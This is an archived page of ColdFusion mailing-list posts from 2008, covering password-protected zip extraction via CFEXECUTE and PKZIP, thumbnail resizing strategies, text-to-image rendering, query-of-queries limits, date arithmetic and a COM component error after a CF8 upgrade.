Re: TDD vs. Big Ball of Mud (was Re: fusebox vs model glue)
I like that you've been thinking about thinking while writing your framework, Isaac. I dig that. :-) The way I'm currently tackling the tests, is to try to work them into my routine. That hard part is, as been mentioned, not having to go back a lot to keep it all in sync. I wonder if this ties into keeping branches synced up with trunk and whatnot with SVN... heh. Somehow similar... Anyways, where I'd, before, just keep doing stuff in a scribble file, sorta testing, building, testing (but not saving any tests), I now try to save the tests, sorta. It is hard to write tests that are easy to refactor, but it's getting easier as time goes by. There are sweeping changes sometimes, and I'm a sweeping changer, for all my not much changing... but it really does save time having those old tests, of the various bits. If just in having that history/memory refresher... I'm still working on the testing of the behaviors, I guess, because I'm quite often including stuff in later tests that are tested themselves, but should be stubs (instead of the real things), just to verify the behavior, but that's still sorta beyond me. Basically I can see cascading fails, where I don't think you'd have that with stubs and whatnot. It still works, but I could see how it would work better to keep it strictly to interactions, vs. creating and whatnot. If that makes sense. Probably didn't explain it too clear since I'm still twirling the ideas around in my head, sorta. I get the failure aspect of overthinking, or overengineering, and I battle those twin demons (or maybe it's just one demon with two heads), and other, more Rube Goldberg-ish impulses, but I have actually seen some pretty good return on tests, even with poor style, as it were. What sells me, is projects like the javascript toolkit dojo. That thing is verbose, but put together really well. It's a snap to read the sources, and there are some good standards, and *various* types of tests, from your more literal it passed! to your, here a few random examples. I've had really good luck refactoring and keeping up-to date with it, and I attribute the majority there to well written code. It has been really interesting to watch it evolve. Same with projects like Eclipse and whatnot. Apache, hell, it's been ages. I think that part of the reason open source is kicking ass, is because it's really tackled the problems of the future, you know? There's a lot of history, too, that we can learn from, all the various flavors of OSes.. Mozilla... from sources open to closed to a mix of the two... but, heh, the battle of big balls of mud... Maybe it's fundamental. Part of nature. Something about entropy or whatnot, ya know? Chaos and order, a spinning yin-yang of seasons. :] Balance. I'm trying to hold it, but it still sorta feels like jumping from one side to the other, versus just sorta maintaining. Not exactly smooth... but not too rough. Hmmm... maybe it will be easier if I go faster! HaHA! -- There is no such thing as a 'self-made' man. We are made up of thousands of others. George Matthew Adams ~| Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to date Get the Free Trial http://ad.doubleclick.net/clk;203748912;27390454;j Archive: http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:311897 Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=89.70.4
RE: How can I unzip a password-protected zip file with cfzip?
Thanks for the info, Paul. It seems strange that the Adobe team would go to the trouble to development the cfzip tag and make any provision for password-protected files... (and especially to have done nothing about it for 8 years!) Rick -Original Message- From: Paul Hastings [mailto:[EMAIL PROTECTED] Sent: Tuesday, September 02, 2008 12:47 AM To: CF-Talk Subject: Re: How can I unzip a password-protected zip file with cfzip? Rick Faircloth wrote: I couldn't find anything about using a password, either. Surely that'll be added next version. core java zip (java.util.zip) class doesn't support passwords. it's been an open bug/enhancement for the last 8 years (yes, that *eight* years) so kind of doubtful cf9 will include it: http://bugs.sun.com/bugdatabase/view_bug.do?bug_id=4347142 if it's really that important now you might look at: https://truezip.dev.java.net/ and maybe prod the cf team about it. or if you like chilkat don't mind paying a bit: http://www.chilkatsoft.com/purchase2.asp ~| Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to date Get the Free Trial http://ad.doubleclick.net/clk;203748912;27390454;j Archive: http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:311898 Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=11502.10531.4
Re: kinda OT : sqlite statement is not executing
sqlite doesnt produce logs, maybe an option or something. I think, if I can get it up and running, I'm going to start using Apache Derby... The datatypes are good (if I change one to something I know won't work, the CF error changes. and it's obivious that's the problem. On Tue, Sep 2, 2008 at 12:12 AM, denstar [EMAIL PROTECTED] wrote: On Mon, Sep 1, 2008 at 8:39 AM, Greg Morphis wrote: Okay, odd even further... I remove the CFQueryparams and the row gets added, no error.. So why would cfqueryparam be causing a statement is not executing? Random guess: you're binding it to the wrong datatype? Or something like that. Is the database telling you anything? Nothing in the logs, eh? -- There is no such thing as a 'self-made' man. We are made up of thousands of others. George Matthew Adams ~| Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to date Get the Free Trial http://ad.doubleclick.net/clk;203748912;27390454;j Archive: http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:311899 Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=89.70.4
Re: How can I unzip a password-protected zip file with cfzip?
is there a way to use the password with cfzip action=unzip ? Personally, I create and CFEXECUTE a bat file which runs a 10 years old version of PKZIP. It supports compression/decompresssion and passwords and still works pretty well. ~| Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to date Get the Free Trial http://ad.doubleclick.net/clk;203748912;27390454;j Archive: http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:311900 Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=11502.10531.4
RE: How can I unzip a password-protected zip file with cfzip?
Thanks for the tip, Claude. Would you mind sharing an example of how you use CFExecute and the bat file to process a certain list of files? Haven't used CFExecute before, nor have I needed to deploy bat file. I could tinker around and probably figure it out, but a working example would be a great guide! :o) Rick -Original Message- From: Claude Schneegans [mailto:[EMAIL PROTECTED] Sent: Tuesday, September 02, 2008 9:46 AM To: CF-Talk Subject: Re: How can I unzip a password-protected zip file with cfzip? is there a way to use the password with cfzip action=unzip ? Personally, I create and CFEXECUTE a bat file which runs a 10 years old version of PKZIP. It supports compression/decompresssion and passwords and still works pretty well. ~| Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to date Get the Free Trial http://ad.doubleclick.net/clk;203748912;27390454;j Archive: http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:311901 Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=11502.10531.4
Opinions about on the fly image resizing
I created a site and decided that in order to show image thumbnails on list pages I do not downsize images and store them phisicaly on server rather have only one larger (max 800x800px) image file which I read into memory resize it to thumbnail size and write it to the browser with the cfimage tag on the fly. The pros are that I don't have to store different versions of sizes of the same image just one and I can change my mind anytime and show thumbnails in different sizes than originally planned without generating new thumbnail files and throwing old ones out. The drawbacks can be however that reading the larger files instead of small thumbnails can slow down page loading however I can't see it a real critical issue on my site. But from SEO point of view it seems problematic that as far as I know I can't define alt text to these 'on the fly generated images' and apparently they do not have a filename however these could be useful to get better ranking in search engines. Does anybody use this way of image processing instead of storing thumbnail files on server or it is really not a best practice? Could I have somehow alt text on my images? Any other pros or cons I haven't mentioned? Any oppinion is appreciated. -- Aron Szanitter - nyerniakarok.hu ~| Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to date Get the Free Trial http://ad.doubleclick.net/clk;203748912;27390454;j Archive: http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:311902 Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=89.70.4
Re: Details on CF9's free for academic licensing?
The free CF8 Enterprise offer for teaching and learning is now available and live. You can read more about it here: http://www.webbschofield.com/index.cfm/2008/9/2/ColdFusion-8-Now-Available-to-Students-and-Educators-for-Free - Kristen Schofield Adobe, Product Marketing Flex builder is, however, free for any use by any member of an educational institution, so there's a difference. While I'd love to see a similar program for CF, I suspect the CF policy will provide only for teaching as has been discussed. On Sat, Aug 30, 2008 at 6:01 AM, Sean Corfield [EMAIL PROTECTED] wrote: The details are taking longer to iron out than many people would like but the intent seems to be allow CF to be used by students and institutions for the purpose of learning/teaching CFML. Much like Flex Builder is free for academic use. -- mxAjax / CFAjax docs and other useful articles: http://www.bifrost.com. au/blog/ ~| Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to date Get the Free Trial http://ad.doubleclick.net/clk;203748912;27390454;j Archive: http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:311903 Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=89.70.4
Re: How can I unzip a password-protected zip file with cfzip?
Would you mind sharing an example of how you use CFExecute and the bat file to process a certain list of files? I just reopen the file were I use it, and I see that I don't use the bat file anymore, this was in version 1.0. Now I pass the parameter directly through CFEXECUTE: CFEXECUTE NAME=#path#\PKZIP25.EXE ARGUMENTS = -extract #path#\individus.zip #pathPhoto#\portrait TIMEOUT=10 OUTPUTFILE=#path#\extract_log.txt / This example does not use password, but it would just be a matter of adding the password parameter in the list or arguments, ie: ARGUMENTS = -extract #path#\individus.zip -password myPassWord #pathPhoto#\portrait Haven't used CFExecute before, nor have I needed to deploy bat file. I could tinker around and probably figure it out, but a working example would be a great guide! There is nothing special to install in order to use CFEXECUTE, just make sure the tag is allowed in your server administrator. Look for the file PKZIP25.EXE, I can send it to you in private if you don't find it. Just drop it in some directory it can been executed. ~| Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to date Get the Free Trial http://ad.doubleclick.net/clk;203748912;27390454;j Archive: http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:311904 Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=89.70.4
Re: Opinions about on the fly image resizing
Does anybody use this way of image processing instead of storing thumbnail files on server or it is really not a best practice? Could I have somehow alt text on my images? Any other pros or cons I haven't mentioned? ALT text would be controlled by the HTML calling the image, not the script generating your thumbnail, so I don't see why that would be an issue regardless of the image thumbnail method used. As for generating them on demand, if your site doesn't do a lot of traffic then I could see this as being an acceptable method, but if traffic picks up then don't expect this to scale well. My thought is that nearly all programming is an exercise in caching, so creating a process to generate the thumbnail images in advance seems to make the most sense to me. It will allow your pages to load more quickly and scale better. If you change your mind about the size just re-run your thumbnail generator and you'll have new images shortly after. -Justin Scott - blog: http://www.tlson.com/ ~| Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to date Get the Free Trial http://ad.doubleclick.net/clk;203748912;27390454;j Archive: http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:311905 Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=89.70.4
Re: Opinions about on the fly image resizing
Any oppinion is appreciated. Well, IMO, the big idea of thumbnails is to show many images roughly and in the same page, so that the user can choose only the one in want in large format. Having to read and downsize 10 or 20 or more images is not really compatible with this purpose. The images are not sent over the Internet, but the server is kept busy unnecessarily. The only reason I would see an advantage would be a situation were you have millions of images so that the probability for any image to appear in a thumbnail page is very low. Otherwise, I would produce the thumbnail images once for ever,... until you change your mind, and unless you change your mind every day ;-) ~| Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to date Get the Free Trial http://ad.doubleclick.net/clk;203748912;27390454;j Archive: http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:311906 Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=89.70.4
Re: Opinions about on the fly image resizing
i totally agree with Claude: unless there is a better reason to not have thumbnail-sized images, you should not tax your server with all the cfimage resizing - it is a very memory-intensive operation. i use this on-the-fly functionality on one of the sites to add a watermark to a large-size preview image for non-registered viewers. but i definitely would not use this to create and display thumbnails... but... if you are set in your way, look at imageUtils cfc on riaforge - Ray Ben Co have made a great job with it. it includes a custom imagewritetobrowser function that can add alt, style and lots of other html attributes to the img tag it produces. Azadi Saryev Sabai-dee.com http://www.sabai-dee.com/ Claude Schneegans wrote: Any oppinion is appreciated. Well, IMO, the big idea of thumbnails is to show many images roughly and in the same page, so that the user can choose only the one in want in large format. Having to read and downsize 10 or 20 or more images is not really compatible with this purpose. The images are not sent over the Internet, but the server is kept busy unnecessarily. The only reason I would see an advantage would be a situation were you have millions of images so that the probability for any image to appear in a thumbnail page is very low. Otherwise, I would produce the thumbnail images once for ever,... until you change your mind, and unless you change your mind every day ;-) ~| Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to date Get the Free Trial http://ad.doubleclick.net/clk;203748912;27390454;j Archive: http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:311907 Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=89.70.4
Re: Text to image for Non CSS font resolution
C Wrote: Not to rule out other options, but try setting the background color when the image object is created: cfset myImage=ImageNew(,500,20, rgb, ff) Though, I do not think you want to create the images every time the page loads. That helps, but I still need help. It did do the trick, but is it the best solution? I am not going to create it each time. Just each time they need new text. I will build an image inventory and check to see if the FileExists. I hate the way this will work, but I can't talk them into doing it any other way. I am using a combination of sIFR and this. (I got the sIFR working late last night). I don't like any of it, but an Agency created the design using ScalaSans everywhere, even with me explaining how text resolves. And the site is completely dynamic. Has anyone else run into this and found a better solution. If text comes out of a database dynamically and it must be a non-universal font, is there any other solution other than Text to Image or sIFR? Thanks, ~David Moore _ Talk to your Yahoo! Friends via Windows Live Messenger. Find out how. I'm actually going through this process right now of setting up dynamic header images to replace text headers on a page because they are complaining about anti-aliasing issues. My understanding is that the font just needs to be supported by the JDK for this to work. We've not run into any issues yet, just needed to add them to the server and reboot. But thankfully they're not asking for anything to out there in regards to fonts. You'll want to write the image to the browser instead of saving a new image each time. action=writetobrowser format=png in the cfimage tag. Pages that helped me ALOT: + Transparent Images - The documentation from Adobe on this function isn't the best, but this page tells you how to create transparent images that are written to the browser. http://www.bennadel.com/blog/1045-Creating-Transparent-Images-With-ColdFusion-8-And-ImageNew-.htm + Dynamically Replace Text with Image - This is the original script using PHP and javascript. You won't need the php section, but the javascript is useful. It will test the browser first to see if it uses images, if it does it'll use an image instead of text. This keeps the pages 508 compliant. http://www.alistapart.com/articles/dynatext + Sizing the Image to the Text - This is just a great script for allowing the canvas of the image to be the same size as the text. http://www.coldfusionjedi.com/index.cfm/2008/1/16/ColdFusion-8-Image-functions-and-text-size Good luck! - Mary ~| Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to date Get the Free Trial http://ad.doubleclick.net/clk;203748912;27390454;j Archive: http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:311908 Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=89.70.4
CF8 Webservice returnType=array
I'm trying to return a 2 dimensional array from a Coldfusion web service and it just won't work, the CFC's will return the correct array if I access them locally, but as soon as I try to access them via a web service I get the following error ---snip--- The fault returned when invoking the web service operation is: '' java.lang.NullPointerException ---snip--- The CFC code is fine as all the actions work perfectly, I can even cfdump the return array in a cfmail right before cfreturn and it's the correct array. I have a feeling that the web service is indeed returning the correct array but CF's web services client isn't interpreting it properly, WSDL issues maybe? Has anyone come across this and found a work-around in the past? Cheers, Craig. ~| Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to date Get the Free Trial http://ad.doubleclick.net/clk;203748912;27390454;j Archive: http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:311909 Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=89.70.4
Re: Opinions about on the fly image resizing
You can get the best of both worlds very easily. Create an empty directory to store all your thumbnails, and then write them all as /thumbs/IMAGEID-WIDTH-HEIGHT.jpg into your pages. Then use mod_rewrite to do a file existence check. If it exists, let Apache serve it out, otherwise have mod_rewrite forward to a CF script that will take the full-size image, resize it to the proper dimensions, write it to the thumbnails directory (so subsequent requests will bypass CF), and then return the image's bytes. You don't generate any thumbnails that aren't needed, and you never generate the same thumbnail twice. And if you ever change the way thumbnails are generated (add a watermark, use a different compression, etc.), you only need wipe that directory clean and everything will start being regenerated. Similarly, if you ever update a given image, you need only delete the thumbnails that start with that imageID, and they'll be regenerated as well. cheers, barneyb On Tue, Sep 2, 2008 at 7:46 AM, Azadi Saryev [EMAIL PROTECTED] wrote: i totally agree with Claude: unless there is a better reason to not have thumbnail-sized images, you should not tax your server with all the cfimage resizing - it is a very memory-intensive operation. i use this on-the-fly functionality on one of the sites to add a watermark to a large-size preview image for non-registered viewers. but i definitely would not use this to create and display thumbnails... but... if you are set in your way, look at imageUtils cfc on riaforge - Ray Ben Co have made a great job with it. it includes a custom imagewritetobrowser function that can add alt, style and lots of other html attributes to the img tag it produces. Azadi Saryev Sabai-dee.com http://www.sabai-dee.com/ Claude Schneegans wrote: Any oppinion is appreciated. Well, IMO, the big idea of thumbnails is to show many images roughly and in the same page, so that the user can choose only the one in want in large format. Having to read and downsize 10 or 20 or more images is not really compatible with this purpose. The images are not sent over the Internet, but the server is kept busy unnecessarily. The only reason I would see an advantage would be a situation were you have millions of images so that the probability for any image to appear in a thumbnail page is very low. Otherwise, I would produce the thumbnail images once for ever,... until you change your mind, and unless you change your mind every day ;-) ~| Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to date Get the Free Trial http://ad.doubleclick.net/clk;203748912;27390454;j Archive: http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:311910 Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=89.70.4
Query of Queries
I'm trying to use functions in a QoQ to parse out some text. I have a directory that has folders of images in it. What I want is a simple QoQ that will extract the directory and filename from a CFDIRECTORY tag into another query. My plan is to put this resulting query into the application scope since this data is relatively static and time consuming to generate. CFSET ThePath = #APPLICATION.RootServerPath#doc\ToolImages\Photos cfdirectory directory =#ThePath# action=list name=ImageList filter=*.jpg recurse = yes type=all cfquery dbtype=query name=myList SELECT name as imageName, replace(directory,#ThePath#,) as imageDir FROM ImageList /cfquery myList would be set as an application scope variable in the next stages of this. I'll use it in another QoQ. Thanks! Warren Koch ~| Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to date Get the Free Trial http://ad.doubleclick.net/clk;203748912;27390454;j Archive: http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:311911 Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=89.70.4
Please Help..Confused
I have 3 drop-down boxes for: Years Months Days I need to combine the values for all 3 and convert to days so I can use the total number of days with DateDiff...Any suggestions would be greatly appreciated. Thanks ~| Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to date Get the Free Trial http://ad.doubleclick.net/clk;203748912;27390454;j Archive: http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:311912 Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=89.70.4
RE: Please Help..Confused
Datediff('d', '#form.month#/#form.day#/#form.year#', '[compared year]') Put your form field names in place of the 'form.' Values. Then put the date that you are comparing them to in the [compared year] spot. The 'd' indicates to return the difference in 'days'. -- William Seiter ColdFusion Web Developer / Consultant http://william.seiter.com Free Website Trade Publication Website Magazine http://www.websitemagazine.com/referrals/?id=51344f=text2 Don't forget to answer the survey questions, it's a 10 second task , a very small request for access to this incredible resource. ::-Original Message- ::From: Laurie Smith [mailto:[EMAIL PROTECTED] ::Sent: Tuesday, September 02, 2008 10:01 AM ::To: CF-Talk ::Subject: Please Help..Confused :: ::I have 3 drop-down boxes for: ::Years ::Months ::Days :: ::I need to combine the values for all 3 and convert to days so I can use ::the total number of days with DateDiff...Any suggestions would be greatly ::appreciated. Thanks :: :: ~| Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to date Get the Free Trial http://ad.doubleclick.net/clk;203748912;27390454;j Archive: http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:311913 Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=89.70.4
Re: Please Help..Confused
One thing to add to William's code Check to make sure the value is a date first, or it'll throw an ugly exception. cfif IsDate(#form.month#/#form.day#/#form.year#) Datediff('d', '#form.month#/#form.day#/#form.year#', '[compared year]') cfelse The Form Value passed in was not a date /cfif On Tue, Sep 2, 2008 at 10:11 AM, William Seiter [EMAIL PROTECTED] wrote: Datediff('d', '#form.month#/#form.day#/#form.year#', '[compared year]') Put your form field names in place of the 'form.' Values. Then put the date that you are comparing them to in the [compared year] spot. The 'd' indicates to return the difference in 'days'. -- William Seiter ColdFusion Web Developer / Consultant http://william.seiter.com Free Website Trade Publication Website Magazine http://www.websitemagazine.com/referrals/?id=51344f=text2 Don't forget to answer the survey questions, it's a 10 second task , a very small request for access to this incredible resource. ::-Original Message- ::From: Laurie Smith [mailto:[EMAIL PROTECTED] ::Sent: Tuesday, September 02, 2008 10:01 AM ::To: CF-Talk ::Subject: Please Help..Confused :: ::I have 3 drop-down boxes for: ::Years ::Months ::Days :: ::I need to combine the values for all 3 and convert to days so I can use ::the total number of days with DateDiff...Any suggestions would be greatly ::appreciated. Thanks :: :: ~| Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to date Get the Free Trial http://ad.doubleclick.net/clk;203748912;27390454;j Archive: http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:311914 Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=11502.10531.4
RE: Query of Queries
I know qofq doesn't do substring. I don't think it does any string manipulation like replace. You will probably need to loop over the query and do it manually or do it in the database. Original Message Subject: Query of Queries From: Craigsell [EMAIL PROTECTED] Date: Tue, September 02, 2008 11:45 am To: CF-Talk cf-talk@houseoffusion.com I'm trying to use functions in a QoQ to parse out some text. I have a directory that has folders of images in it. What I want is a simple QoQ that will extract the directory and filename from a CFDIRECTORY tag into another query. My plan is to put this resulting query into the application scope since this data is relatively static and time consuming to generate. CFSET ThePath = #APPLICATION.RootServerPath#doc\ToolImages\Photos cfdirectory directory =#ThePath# action=list name=ImageList filter=*.jpg recurse = yes type=all cfquery dbtype=query name=myList SELECT name as imageName, replace(directory,#ThePath#,) as imageDir FROM ImageList /cfquery myList would be set as an application scope variable in the next stages of this. I'll use it in another QoQ. Thanks! Warren Koch ~| Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to date Get the Free Trial http://ad.doubleclick.net/clk;203748912;27390454;j Archive: http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:311915 Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=89.70.4
Re: How can I unzip a password-protected zip file with cfzip?
Rick Faircloth wrote: It seems strange that the Adobe team would go to the trouble to development the cfzip tag and make any provision for password-protected files... (and especially to have done nothing about it for 8 years!) that's *sun* not adobe. ~| Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to date Get the Free Trial http://ad.doubleclick.net/clk;203748912;27390454;j Archive: http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:311916 Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=11502.10531.4
Re: Query of Queries
Dang. I was trying to keep this in a query datatype so I could use it in subsequent QoQ. I wanted to get rid of the names I don't need to reduce memory usage -- I have a lot of image names to store! ~| Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to date Get the Free Trial http://ad.doubleclick.net/clk;203748912;27390454;j Archive: http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:311917 Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=89.70.4
Re: Opinions about on the fly image resizing
you only need wipe that directory clean and everything will start being regenerated. Very brilliant indeed. ~| Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to date Get the Free Trial http://ad.doubleclick.net/clk;203748912;27390454;j Archive: http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:311918 Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=11502.10531.4
AutoImageInfo com component on CF8 used for image properties
We are reviewing migrating our site from CF5 to CF8 (HALLELUJAH). I am the lowly It guy yet I help with whatever I am asked. We are using a com object from United Binary called AutoImage Info. It is solely for getting image parameters. IE size width etc. I realize there are other ways to do this and I AM Interested but right now I would like to see if we could get it working so we can test. Of course if you have a super fast one line replacement compatible with CF5 -- I am listening but we need to maintain CF5 for now and the developers are trying to maintain one code base for cf5 and cf8. I AM NOT A DEVELOPER. Is there any reason a com object would work with CF5 but not with CF8? This is the error we receive The image is available. Our environment is clean and stable. Server is W2K3 SP2. An exception occurred when executing a COM method. The cause of this exception was that: AutomationException: 0x80004005 - Error 1527: ReadHeader method threw an exception. The file \\photonasbak\static3$\ImgDisk3\SACRAMENTO\08-09-01_04-00-05_SACRAMENTO/T_8V07884.jpg could not be read. It is either does not exist or is not accessible. Please refer to the AutoImageInfo documentation for more information. in 'UnitedBinary.AutoImageInfo.1'. ~| Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to date Get the Free Trial http://ad.doubleclick.net/clk;203748912;27390454;j Archive: http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:311919 Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=11502.10531.4
RE: AutoImageInfo com component on CF8 used for image properties
Have you already checked to see that your ColdFusion istallation has rights to read/write/execute on that folder and all of the subsequent files? It appears that autoimage is running, but throwing back an error. William -- William Seiter ColdFusion Web Developer / Consultant http://william.seiter.com Free Website Trade Publication Website Magazine http://www.websitemagazine.com/referrals/?id=51344f=text2 Don't forget to answer the survey questions, it's a 10 second task , a very small request for access to this incredible resource. ::-Original Message- ::From: douglas cohn [mailto:[EMAIL PROTECTED] ::Sent: Tuesday, September 02, 2008 10:55 AM ::To: CF-Talk ::Subject: AutoImageInfo com component on CF8 used for image properties :: ::We are reviewing migrating our site from CF5 to CF8 (HALLELUJAH). I am ::the lowly It guy yet I help with whatever I am asked. :: ::We are using a com object from United Binary called AutoImage Info. It is ::solely for getting image parameters. IE size width etc. I realize there ::are other ways to do this and I AM Interested but right now I would like ::to see if we could get it working so we can test. Of course if you have a ::super fast one line replacement compatible with CF5 -- I am listening but ::we need to maintain CF5 for now and the developers are trying to maintain ::one code base for cf5 and cf8. I AM NOT A DEVELOPER. :: ::Is there any reason a com object would work with CF5 but not with CF8? :: ::This is the error we receive The image is available. Our environment is ::clean and stable. Server is W2K3 SP2. :: :: An exception occurred when executing a COM method. ::The cause of this exception was that: AutomationException: 0x80004005 - ::Error 1527: ReadHeader method threw an exception. The file ::\\photonasbak\static3$\ImgDisk3\SACRAMENTO\08-09-01_04-00- ::05_SACRAMENTO/T_8V07884.jpg could not be read. It is either does not exist ::or is not accessible. Please refer to the AutoImageInfo documentation for ::more information. in 'UnitedBinary.AutoImageInfo.1'. :: :: ~| Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to date Get the Free Trial http://ad.doubleclick.net/clk;203748912;27390454;j Archive: http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:311920 Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=89.70.4
Re: Please Help..Confused
I have 3 drop-down boxes for: Years Months Days I need to combine the values for all 3 and convert to days so I can use the total number of days with DateDiff...Any suggestions would be greatly appreciated. Thanks I should have clarified that I am not passing a date such as mm/dd/. The year dropdown contains the values 1-5 that the user can select, the month is 1-11, and the days are 1-30. What I am trying to do is for example, when if a user selects 2 years 2 months 2 days then I need to convert those values to days. ~| Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to date Get the Free Trial http://ad.doubleclick.net/clk;203748912;27390454;j Archive: http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:311921 Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=89.70.4
Re: Please Help..Confused
On Tue, Sep 2, 2008 at 11:29 AM, Laurie Smith [EMAIL PROTECTED]wrote: I have 3 drop-down boxes for: Years Months Days I need to combine the values for all 3 and convert to days so I can use the total number of days with DateDiff...Any suggestions would be greatly appreciated. Thanks I should have clarified that I am not passing a date such as mm/dd/. The year dropdown contains the values 1-5 that the user can select, the month is 1-11, and the days are 1-30. What I am trying to do is for example, when if a user selects 2 years 2 months 2 days then I need to convert those values to days. but... but... some months have a different number of days than others :) if that's your desired result, you'll really need to capture a start date (and an end date) -- A byte walks into a bar and orders a pint. Bartender asks him What's wrong? Byte says Parity error. Bartender nods and says Yeah, I thought you looked a bit off. ~| Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to date Get the Free Trial http://ad.doubleclick.net/clk;203748912;27390454;j Archive: http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:311922 Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=89.70.4
Re: Please Help..Confused
